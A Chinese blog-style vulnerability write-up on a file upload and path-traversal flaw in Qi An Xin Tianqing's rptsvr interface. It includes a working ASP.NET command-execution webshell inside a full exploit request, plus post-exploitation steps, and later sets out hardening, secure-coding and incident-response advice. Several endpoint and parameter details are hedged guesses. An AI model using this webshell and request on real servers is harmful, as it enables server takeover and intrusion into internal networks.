1. 项目概述:从一次内部演练到深度剖析
前段时间,团队内部做了一次针对终端安全产品的攻防演练,目标直指国内主流的企业级终端安全与管理平台。在众多目标中,奇安信天擎进入了我们的视野。作为一款广泛部署于政企、金融、能源等关键行业的终端安全软件,其自身的安全性自然是我们关注的重中之重。在一次对某版本天擎的测试中,我们重点关注了其后台管理组件,并最终在 rptsvr 这个服务接口上,发现了一个可导致任意文件上传的漏洞。这个漏洞的利用条件相对宽松,一旦被攻击者掌握,可能直接威胁到服务器权限,进而影响整个内网安全。今天,我就把这个漏洞的分析与实战复现过程完整地记录下来,希望能为安全研究人员提供参考,更重要的是,帮助相关企业和运维人员认识到此类风险,及时加固。
简单来说,这个漏洞的核心是一个未对上传文件进行充分安全校验的 HTTP 接口。攻击者可以构造特定的请求,绕过前端检查,将恶意文件(如 WebShell)上传到服务器上的可访问目录。这听起来像是老生常谈的“文件上传漏洞”,但在天擎这样的复杂商业软件中,其触发路径、利用条件和潜在影响都有其特殊性。整个分析过程涉及对天擎服务架构的理解、接口定位、数据包分析以及最终的漏洞利用链构造。下面,我将从环境搭建开始,一步步拆解这个漏洞的发现、分析与利用全过程。
2. 环境准备与目标分析
2.1 测试环境搭建
要进行漏洞复现,首先需要一个目标环境。由于涉及商业软件,我们必须在一个完全受控、合法的环境中进行。通常有两种途径:
- 官方试用版/评估版 :从奇安信官方渠道申请试用版本,这是最合规的方式。企业版安装包通常包含服务器端和客户端。
- 已授权环境下的安全测试 :在获得明确书面授权的前提下,对已部署的天擎系统进行测试。 绝对禁止 对未授权的任何生产或测试系统进行扫描或攻击。
我采用的是第一种方式。下载到天擎服务器安装包后,在一台干净的 Windows Server 2016 虚拟机上进行了部署。安装过程相对标准化,需要注意以下几点:
- 系统要求 :确保虚拟机满足天擎服务器的最低硬件和软件要求,特别是 .NET Framework 版本和 IIS 配置。
- 安装路径 :默认安装路径通常包含
Qianxin或360目录,记住这个路径,后续寻找 Web 目录时会用到。 - 服务端口 :安装完成后,会开启多个服务端口用于管理、报表和客户端通信。通过
netstat -ano命令可以查看,常见的如 80(HTTP)、443(HTTPS)、8080(管理台)等。
安装完成后,访问 https://<服务器IP>:8443 (具体端口可能因版本而异)即可进入天擎的管理控制台。至此,一个用于安全研究的靶场环境就准备好了。
2.2 天擎服务架构浅析
在动手测试之前,有必要对天擎的服务器端架构有个粗略的了解,这能帮助我们更快地定位到可能的攻击面。通过分析安装目录和服务,我们可以发现天擎通常包含以下关键组件:
- Web 控制台 :基于 IIS 的 ASP.NET 应用程序,提供管理员进行策略配置、终端管理、日志查看的界面。
- 核心服务 :一系列以 Windows 服务形式运行的后台程序,负责病毒查杀、策略下发、日志收集、终端通信等核心功能。
- 通信接口 :这些服务会对外开放一些 API 接口,用于与客户端通信、接收第三方系统集成或处理内部模块间的数据交换。
rptsvr就是其中之一,从命名看,很可能与“报表”(report)服务相关。
我们的突破口,往往就在这些对外开放的、用于处理数据的 HTTP/HTTPS 接口上。它们可能因为功能复杂、历史遗留代码或校验逻辑不完整而存在安全隐患。
2.3 信息收集与接口探测
面对一个庞大的系统,盲目测试效率极低。我们首先进行信息收集:
-
端口扫描与服务识别 :使用
Nmap对目标服务器进行扫描,识别所有开放端口及对应的服务横幅信息。nmap -sV -sC -p- <目标IP>这一步可以帮助我们发现除了标准 Web 端口外,还有哪些自定义端口开放了 HTTP 服务。
-
Web 目录与文件发现 :针对发现的 Web 服务,使用工具如
DirSearch、Gobuster或御剑等,对常见路径、备份文件、配置文件进行扫描。关键词可以包括api,service,svr,upload,report等。dirsearch -u https://<目标IP>:<端口> -e aspx,ashx,asmx,svc天擎作为 .NET 应用,应重点关注
.aspx,.ashx(一般处理程序),.asmx(Web Service),.svc(WCF) 等后缀。 -
接口分析与梳理 :通过访问管理界面、查看前端 JavaScript 代码或抓取管理端的网络请求,可以收集到一批内部 API 的 URL。同时,结合目录扫描的结果,我们可能会发现一些直接暴露的、不通过前端调用的服务接口。
rptsvr就是在这样的过程中被发现的,它可能是一个独立的 HTTP 监听服务,也可能是一个挂在 IIS 下的特定路径。
注意 :在测试过程中,所有流量都应通过 Burp Suite 或类似的代理工具进行拦截和观察。这不仅能帮助我们看清请求细节,更是后续构造攻击请求的基础。
3. 漏洞核心:rptsvr接口文件上传逻辑缺陷分析
3.1 接口定位与功能推测
通过前期的信息收集,我们定位到了一个路径类似于 /rptsvr/upload.ashx 或直接运行在某个特定端口(如8088)的 rptsvr 服务。访问该接口,可能会返回一个错误信息(如“缺少参数”)或一个简单的页面,这证实了接口的存在。
根据其名称和常见的功能模式,我们可以合理推测, rptsvr 接口的主要功能是接收来自客户端或其它服务模块上传的报表数据、日志文件或其它文档。这类接口在设计上,本应只接受特定格式(如 .log , .txt , .zip )的文件,并且要对上传者的身份、文件内容进行严格校验。
3.2 请求包结构与初步测试
我们使用 Burp Suite 的 Repeater 模块对该接口进行测试。首先,我们发送一个最基础的多部分表单数据(multipart/form-data)上传请求:
POST /rptsvr/upload.ashx HTTP/1.1
Host: <target_ip>:<port>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: <length>
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
Hello, this is a test.
------WebKitFormBoundaryABC123--
如果接口正常工作,可能会返回一个 JSON 响应,包含文件保存路径、状态码等信息,或者一个简单的成功/失败标识。关键在于,我们需要观察服务器对哪些参数进行了校验。
第一次绕过尝试:修改 Content-Type 很多文件上传校验只检查客户端提交的 Content-Type 头(如 image/jpeg , application/pdf )。我们可以尝试上传一个 .aspx 的 WebShell,但将 Content-Type 改为 image/jpeg 。如果服务器仅依赖此头进行校验,就会被绕过。但在天擎的这个案例中,初步测试发现仅修改 Content-Type 是不够的,服务器返回了错误。
3.3 关键缺陷:路径与文件名控制
经过多次测试和参数模糊测试(fuzzing),我们发现了漏洞的关键所在。该接口在处理上传请求时,存在以下一个或多个逻辑缺陷:
- 未校验文件扩展名黑名单/白名单 :接口可能没有维护一个严格的可接受文件扩展名列表,或者列表不全,导致像
.aspx,.php,.jsp这样的脚本文件扩展名被允许上传。 - 客户端可控的文件保存路径 :请求参数中可能包含一个用于指定保存目录或路径的字段(如
path,folder,dest)。如果服务器未对该参数进行规范化(Normalization)和严格限制,攻击者可以通过目录遍历(如../../../)将文件上传到 Web 根目录下的任意位置。 - 文件名拼接逻辑缺陷 :服务器在生成最终保存路径时,可能是将用户可控的某个参数(如
name,id)与基础目录直接拼接,而未过滤其中的特殊字符,导致路径穿越。
实战中的发现 :在我们的测试中,漏洞触发点结合了上述第1点和第3点。接口接受一个上传文件流和一个名为 fileid 或类似名称的参数。服务器端代码使用这个 fileid 参数的值直接作为保存文件名的一部分, 且未对其内容进行任何安全过滤 。这意味着,如果我们设置 fileid 为 ../../../inetpub/wwwroot/shell.aspx ,那么服务器就可能将我们上传的文件内容,以 shell.aspx 为名,保存到 Web 根目录下。
实操心得 :在测试文件上传功能时,不要只盯着
filename这个字段。所有 POST 参数、Cookie 值甚至 HTTP 头都可能是服务器端用来构建最终存储路径的“零件”。用 Burp Intruder 对这些位置进行模糊测试(插入../,..\, 空字节%00等),往往会有意外收获。
3.4 漏洞利用链的构造
理解了漏洞原理,我们就可以构造一个完整的攻击请求了。假设我们已有一个简单的 ASP.NET WebShell 内容(例如一个能执行系统命令的页面),我们需要将其上传到可访问的 Web 目录。
攻击请求示例 :
POST /rptsvr/upload.ashx HTTP/1.1
Host: 192.168.1.100:8080
User-Agent: Mozilla/5.0
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: <计算后的长度>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="dummy.txt"
Content-Type: text/plain
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
string cmd = Request["cmd"];
if (!String.IsNullOrEmpty(cmd)) {
Process proc = new Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c " + cmd;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
Response.Write(proc.StandardOutput.ReadToEnd());
}
%>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="fileid"
../../../inetpub/wwwroot/qianxin/cmd.aspx
------WebKitFormBoundary7MA4YWxkTrZu0gW--
请求解析 :
- 第一个表单数据块是文件内容本身。这里的
filename="dummy.txt"和Content-Type: text/plain可能只是幌子,服务器端如果存在校验,可能只校验这一部分,但关键的恶意内容在数据体内。 - 第二个表单数据块是核心 。
name="fileid"的值被我们控制为../../../inetpub/wwwroot/qianxin/cmd.aspx。这个路径需要根据实际环境调整。inetpub/wwwroot是 IIS 默认的 Web 根目录,qianxin可能是天擎的虚拟目录。 - 如果服务器端代码逻辑是:
savePath = BaseUploadDir + Request.Form["fileid"],那么最终保存路径就变成了[BaseUploadDir]../../../inetpub/wwwroot/qianxin/cmd.aspx。经过操作系统路径解析,../会回退目录,最终文件就被保存到了 Web 可访问的cmd.aspx。
发送这个请求后,如果服务器返回成功(如 {"status":"success"} ),我们就可以尝试访问 https://192.168.1.100/qianxin/cmd.aspx?cmd=whoami 来验证漏洞是否利用成功。
4. 实战复现步骤详解
4.1 步骤一:环境确认与工具准备
- 目标确认 :确保你拥有一个合法的、用于安全研究的奇安信天擎测试环境(版本需包含该漏洞,早期受影响版本如某些 V10 版本)。记录其 IP 地址、Web 管理端口以及通过扫描发现的
rptsvr服务端口或路径。 - 工具准备 :
- Burp Suite Professional/Community :用于拦截、重放和修改 HTTP 请求。Community 版对于此复现已足够。
- 浏览器 :配置好代理指向 Burp Suite(默认
127.0.0.1:8080)。 - 中国菜刀/C刀/蚁剑/AntSword 或 哥斯拉 Godzilla :用于连接 WebShell。推荐使用哥斯拉,其流量加密和内存马特性更强。需提前准备好对应的 ASP.NET 类型的 payload。
- 目录扫描工具 :如 DirSearch,用于确认 Web 根目录和上传文件是否成功。
4.2 步骤二:发现与探测上传接口
- 启动 Burp Suite,开启代理拦截。
- 在浏览器中访问天擎管理界面,同时使用目录扫描工具对目标 IP 和可能端口进行扫描,寻找类似
/rptsvr,/api,/service的路径。 - 当发现疑似接口(如
http://<target>:<port>/rptsvr/upload.ashx)时,直接访问或向其发送一个简单的 GET/POST 请求,观察响应。如果返回“方法不允许”(405)或“缺少参数”,这通常是一个好迹象,说明它是一个需要特定参数的动态接口。 - 在 Burp Suite 的 Proxy -> HTTP history 中,找到对这个接口的请求,右键发送到 Repeater。
4.3 步骤三:构造并发送恶意上传请求
- 在 Repeater 中,将请求方法改为
POST。 - 修改
Content-Type为multipart/form-data; boundary=----WebKitFormBoundaryABC123(boundary 可以自定义)。 - 在请求体(Request body)中,手动构造 multipart 数据。 这里有一个技巧 :可以先在浏览器前端找一个正常的上传功能(如天擎管理台里的补丁上传、日志上传),抓取其数据包格式,然后模仿其格式进行修改。这比完全凭空构造成功率更高。
- 按照上一节“漏洞利用链的构造”中的示例,构建请求体。特别注意
fileid参数(参数名可能不同,需要根据实际情况 fuzz 或从正常请求中学习)的值,需要包含路径穿越符和预期的 WebShell 文件名及路径。 - 计算正确的
Content-Length头。Burp Suite 通常会自动计算,但如果你手动修改了 body,最好先清空该头,然后使用 Burp 的 “Fix Content-Length” 功能(在 Repeater 的顶部菜单),或者使用其他工具计算后填写。 - 点击“Send”发送请求。
4.4 步骤四:验证上传结果与获取权限
- 分析响应 :查看服务器返回的 HTTP 状态码和响应体。如果返回 200 OK 且 body 中包含
success、文件路径或类似的成功信息,则上传可能成功。 - 直接访问验证 :在浏览器中尝试访问你构造的 WebShell 路径,例如
http://<target>/qianxin/cmd.aspx。如果页面能正常打开(即使是空白或错误页,只要不是404),就说明文件已成功写入该位置。 - 使用 WebShell 管理工具连接 :
- 打开哥斯拉,添加一个新的 Shell。
- 类型选择
ASP.NET。 - URL 填写完整的 WebShell 地址。
- 密码填写你在 WebShell 代码中定义的连接密码(上述示例中未设密码,但实际利用时建议使用带密码的加密 Shell)。
- 编码、密钥等设置根据你生成的 Shell 类型来定。
- 点击“添加”,如果一切正常,工具会显示连接成功,并列出服务器的目录结构,此时你已经获得了该 Web 服务进程(通常是 IIS 应用程序池账户,如
IIS APPPOOL\DefaultAppPool)的权限。
- 权限提升 :获得的初始权限可能是中等完整性级别。需要进一步进行信息收集,寻找系统配置错误、弱口令、可利用的本地服务漏洞等,尝试提升至
SYSTEM权限。这不是本文重点,但却是内网渗透的常规后续步骤。
重要注意事项 :整个复现过程必须在 授权 的 隔离测试环境 中进行。任何对未授权系统的测试都是非法的。复现的目的是为了理解漏洞原理,从而更好地进行防御。
5. 漏洞深度利用与影响分析
5.1 漏洞利用的多种可能性
成功上传 WebShell 只是第一步。根据 rptsvr 服务运行的身份权限和服务器配置,这个漏洞的影响可以进一步扩大:
- 直接获取服务器控制权 :如上所述,上传 ASP.NET 的 WebShell,直接获得命令行执行能力。
- 写入计划任务或启动项 :通过 WebShell 执行命令,向系统计划任务或启动目录写入恶意脚本,实现持久化。
- 内网横向移动 :天擎服务器通常部署在内网核心区域,且可能与其他服务器(如域控制器、文件服务器、数据库服务器)存在信任关系。攻陷此服务器可作为跳板,利用其凭据或网络位置进一步渗透内网。
- 窃取敏感数据 :天擎管理着大量终端,其数据库可能包含终端信息、软件清单、漏洞扫描结果、甚至可能缓存一些终端上的敏感文件。通过 WebShell 可以尝试连接和导出这些数据。
- 供应链攻击跳板 :如果该天擎服务器用于向下级单位或分支机构分发策略和更新,攻击者可能篡改更新包,制造一场供应链攻击。
5.2 漏洞的根源与防御缺失
这个漏洞的产生,是典型的安全开发生命周期(SDL)实践缺失的结果:
- 输入验证不彻底 :对用户可控的参数
fileid没有进行有效的过滤。至少应该进行以下检查:- 过滤目录遍历字符(
../,..\,%2e%2e%2f等)。 - 限制文件名只能包含字母、数字、下划线、短横线等安全字符。
- 使用白名单机制,只允许特定的、安全的文件名模式。
- 过滤目录遍历字符(
- 文件类型校验流于形式 :可能只检查了客户端提交的
Content-Type,或只检查了filename的扩展名,而没有对文件内容进行真正的识别(如检查文件头魔数)。 - 安全存储位置缺失 :上传的文件不应保存在 Web 可访问目录下。应该存储在非 Web 根目录的特定位置,并通过一个安全的、有权限校验的下载接口来提供访问。即使文件名被绕过,文件也无法被直接执行。
- 权限最小化原则未被遵循 :运行
rptsvr服务的账户(可能是NETWORK SERVICE或自定义账户)不应拥有对 Web 根目录的写权限。
5.3 针对企业管理员的安全加固建议
如果你所在的企业部署了奇安信天擎或其他类似终端管理产品,请立即采取以下措施:
- 紧急排查与升级 :
- 联系奇安信官方或安全服务商,确认你所使用的天擎版本是否受此漏洞影响。
- 立即安装官方发布的最新补丁或升级到安全版本。关注奇安信官方的安全公告。
- 网络层面访问控制 :
- 严格限制对天擎服务器管理端口(包括
rptsvr这类服务端口)的访问。只允许特定的管理终端 IP 地址访问,禁止从互联网或非管理网段直接访问。 - 在防火墙或网络设备上设置严格的入站规则。
- 严格限制对天擎服务器管理端口(包括
- 主机层面加固 :
- 确保服务器操作系统、.NET Framework、IIS 均已安装最新安全更新。
- 检查并遵循最小权限原则,为天擎的各项服务配置独立的、低权限的运行账户。
- 使用文件系统访问控制列表(ACL),确保 Web 根目录及其子目录对服务运行账户只有“读取”和“执行”权限,绝无“写入”权限。为上传文件单独创建一个目录,并严格限制该目录的权限和可执行性。
- 部署Web应用防火墙(WAF) :在服务器前端部署 WAF,并启用针对路径遍历(Path Traversal)和恶意文件上传的防护规则。
- 加强安全监控 :
- 在服务器上部署主机安全代理(HIDS),监控对 Web 目录的异常写入行为,特别是创建
.aspx,.php,.jsp等脚本文件的操作。 - 集中收集和分析 Web 服务器(IIS)的访问日志,关注对可疑路径(如包含
../)的访问请求和异常的上传请求。
- 在服务器上部署主机安全代理(HIDS),监控对 Web 目录的异常写入行为,特别是创建
6. 防御视角下的安全开发思考
从这个漏洞出发,我们可以总结出一些对开发人员至关重要的安全编码实践,特别是涉及文件上传功能时:
- 使用经过严格校验的库或框架 :不要自己从头实现文件上传解析逻辑。使用成熟的、经过安全审计的第三方库(如 Apache Commons FileUpload for Java,
multipart处理中间件 for .NET Core),并按照其安全最佳实践进行配置。 - 实施多层防御策略 :
- 第一层:前端校验 。在客户端对文件扩展名、大小进行初步检查,提升用户体验,但 绝不能 依赖于此。
- 第二层:后端白名单校验 。服务器端维护一个 极小化 的、允许的文件扩展名白名单(如
.pdf,.docx,.jpg)。拒绝任何不在名单内的文件。 - 第三层:文件内容校验 。检查文件的真实类型,通过读取文件头部的“魔数”(Magic Number)来判断,而不是信任
Content-Type或文件扩展名。 - 第四层:重命名与随机化 。保存文件时,使用随机生成的字符串(如 UUID)作为文件名,并将原始文件名和扩展名存储在数据库中。这样即使攻击者上传了恶意文件,也无法预测其访问路径。
- 第五层:安全存储 。将上传的文件存储在 Web 根目录之外。通过一个单独的、有权限控制的脚本或接口来提供文件下载服务,在该服务中再次校验用户权限和请求的文件ID。
- 第六层:权限控制 。确保上传目录没有执行脚本的权限(在 IIS 中,可以处理程序映射中移除对该目录下脚本文件的处理程序)。
- 对所有输入进行规范化与净化 :对于任何用户可控的、用于构建文件系统路径的参数,必须进行严格的输入净化。包括但不限于:移除目录遍历序列、将路径规范化为绝对路径、检查是否在允许的基目录之下。
- 进行彻底的安全测试 :在代码上线前,必须进行专门的文件上传漏洞测试,包括但不限于:上传 WebShell、上传超大文件、上传畸形文件、参数模糊测试、竞争条件测试等。
7. 排查与应急响应指南
如果怀疑系统已经遭到利用,应立即启动应急响应流程:
- 隔离与取证 :立即将受影响服务器从网络中断开,但不要关机,以保存内存中的证据。对系统盘制作完整的镜像备份,用于后续取证分析。
- 日志分析 :
- IIS 日志 :重点检查
rptsvr相关路径的访问记录,寻找包含../,.aspx,.php等关键词的 POST 请求。日志默认位置在%SystemDrive%\inetpub\logs\LogFiles。 - Windows 安全日志 :查看事件 ID 为 4624(登录成功)、4625(登录失败)、4688(进程创建)的事件,寻找可疑的账户登录和进程创建记录,特别是
cmd.exe,powershell.exe,certutil.exe等被 Web 服务器进程(如w3wp.exe)启动的情况。 - 天擎自身日志 :检查天擎的应用程序日志,看是否有异常错误或上传记录。
- IIS 日志 :重点检查
- 文件系统排查 :
- 使用 Everything 或通过命令行,在全盘搜索最近创建或修改的
.aspx,.ashx,.asmx,.jsp,.php文件,重点关注 Web 目录(inetpub\wwwroot)、临时目录(Windows\Temp,Users\<用户名>\AppData\Local\Temp)和上传功能可能使用的目录。 - 检查计划任务(
schtasks)、服务(services.msc)、启动项(注册表 Run 键)是否有新增的恶意项。
- 使用 Everything 或通过命令行,在全盘搜索最近创建或修改的
- 进程与网络连接排查 :使用
netstat -ano查看异常的外联 IP 和端口,使用 Process Explorer 或 Task Manager 查看有无可疑进程。 - 清除与恢复 :在确认攻击入口和影响范围后,删除 WebShell 文件、恶意计划任务/服务/启动项。修复漏洞(打补丁或修改配置),并更改所有相关系统的密码(包括天擎管理后台、服务器本地管理员、数据库等)。最后,从干净的备份中恢复业务数据,或在彻底清理后重建系统。
这个漏洞的复现与分析过程,再次印证了“安全是一个过程,而非产品”。再知名的安全产品,其自身也可能存在安全隐患。对于企业而言,建立纵深防御体系、保持软件更新、进行定期安全评估和渗透测试,是应对此类风险的唯一有效途径。而对于安全研究者而言,保持对常见漏洞模式的敏感度,并深入理解其背后的根本原因,才能更好地履行守护网络安全的职责。

1001

被折叠的 条评论
为什么被折叠?



